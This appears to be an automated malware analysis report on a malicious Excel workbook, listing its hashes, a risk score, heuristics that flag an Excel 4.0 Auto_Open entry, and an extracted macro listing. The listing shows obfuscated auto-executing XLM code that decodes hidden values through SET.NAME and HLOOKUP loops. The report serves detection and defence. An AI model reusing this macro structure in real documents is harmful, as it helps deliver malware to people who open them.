Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9dfc1141a7b3a683…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:55 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: af8255ffc341c5af50720f43a5f20e6d SHA-1: 34dbca84c06c4d876bdd9373f77cff732afc906d SHA-256: 9dfc1141a7b3a683b1a8c0ce2aa5fa1721f481a3db0117c01b4c501df75d1478
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6788 bytes
SHA-256: 3edcc1a0aabb2166bd4f87006e89b19940af6f8228c1e2e66aa09b01d4333802
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fyxcPQsfhOi
' 0018     22 LABEL : Cell Value, String Constant - ARILCWS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I145 
' 0018     20 LABEL : Cell Value, String Constant - cWdED len=0 
' 0018     20 LABEL : Cell Value, String Constant - DnrKv len=0 
' 0018     22 LABEL : Cell Value, String Constant - GwBPJyK len=0 
' 0018     20 LABEL : Cell Value, String Constant - JhntR len=0 
' 0018     24 LABEL : Cell Value, String Constant - kbPhjtdvG len=0 
' 0018     22 LABEL : Cell Value, String Constant - kDHkFHk len=0 
' 0018     22 LABEL : Cell Value, String Constant - LxSqdNQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - maWDItU len=0 
' 0018     21 LABEL : Cell Value, String Constant - NBZOIB len=0 
' 0018     21 LABEL : Cell Value, String Constant - puogJY len=0 
' 0018     20 LABEL : Cell Value, String Constant - RublW len=0 
' 0018     22 LABEL : Cell Value, String Constant - sXHIrGk len=0 
' 0018     27 LABEL : Cell Value, String Constant - TawVlfxvYMPl len=0 
' 0018     23 LABEL : Cell Value, String Constant - VVrDhxQp len=0 
' 0018     20 LABEL : Cell Value, String Constant - WvVeS len=0 
' 0018     24 LABEL : Cell Value, String Constant - XyhMsQqHX len=0 
' 0018     26 LABEL : Cell Value, String Constant - yMIvEdUvZGJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - zjMHwgS len=0 
' 0018     21 LABEL : Cell Value, String Constant - zVkfSJ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fyxcPQsfhOi,I50,"SET.NAME("RublW",0+VALUE("0"))",""
'  fyxcPQsfhOi,I52,"SET.NAME("XyhMsQqHX",RublW)",""
'  fyxcPQsfhOi,I56,"SET.NAME("cWdED",RublW)",""
'  fyxcPQsfhOi,I61,"SET.NAME("NBZOIB",COUNTA(LxSqdNQ))",""
'  fyxcPQsfhOi,I63,"SET.NAME("zVkfSJ",COUNTA(VVrDhxQp))",""
'  fyxcPQsfhOi,I68,[],""
'  fyxcPQsfhOi,I70,"SET.NAME("TawVlfxvYMPl","")",""
'  fyxcPQsfhOi,Q70,"",666.00000000000000000000
'  fyxcPQsfhOi,Q71,"",314.00000000000000000000
'  fyxcPQsfhOi,Q72,"",806.00000000000000000000
'  fyxcPQsfhOi,Q73,"",-215.00000000000000000000
'  fyxcPQsfhOi,Q74,"",-765.00000000000000000000
'  fyxcPQsfhOi,I75,"XyhMsQqHX",""
'  fyxcPQsfhOi,Q75,"",172.00000000000000000000
'  fyxcPQsfhOi,I79,"SET.NAME("ARILCWS",HLOOKUP("*",LxSqdNQ,XyhMsQqHX,FALSE))",""
'  fyxcPQsfhOi,I81,"kbPhjtdvG",""
'  fyxcPQsfhOi,I84,"SET.NAME("JhntR",RublW)",""
'  fyxcPQsfhOi,I89,[],""
'  fyxcPQsfhOi,I92,"JhntR",""
'  fyxcPQsfhOi,I96,"puogJY",""
'  fyxcPQsfhOi,I99,"sXHIrGk",""
'  fyxcPQsfhOi,I101,"zjMHwgS",""
'  fyxcPQsfhOi,I106,"SET.NAME("kDHkFHk",VALUE(HLOOKUP("*",VVrDhxQp,zjMHwgS,FALSE)))",""
'  fyxcPQsfhOi,I111,"GwBPJyK",""
'  fyxcPQsfhOi,I116,"TawVlfxvYMPl",""
'  fyxcPQsfhOi,I119,"cWdED",""
'  fyxcPQsfhOi,I124,NEXT(),""
'  fyxcPQsfhOi,I126,"WvVeS",""
'  fyxcPQsfhOi,I131,[],""
'  fyxcPQsfhOi,I135,"yMIvEdUvZGJ",""
'  fyxcPQsfhOi,I138,NEXT(),""
'  fyxcPQsfhOi,I142,RETURN(),""
'  fyxcPQsfhOi,I170,"SET.NAME("maWDItU",I50)",""
'  fyxcPQsfhOi,I175,"LxSqdNQ",""
'  fyxcPQsfhOi,I177,"SET.NAME("VVrDhxQp",R53C12)",""
'  fyxcPQsfhOi,I181,"SET.NAME("yMIvEdUvZGJ",191)",""
'  fyxcPQsfhOi,I185,"SET.NAME("DnrKv",9)",""
'  fyxcPQsfhOi,I190,maWDItU(),""
'  fyxcPQsfhOi,I191,HALT(),""

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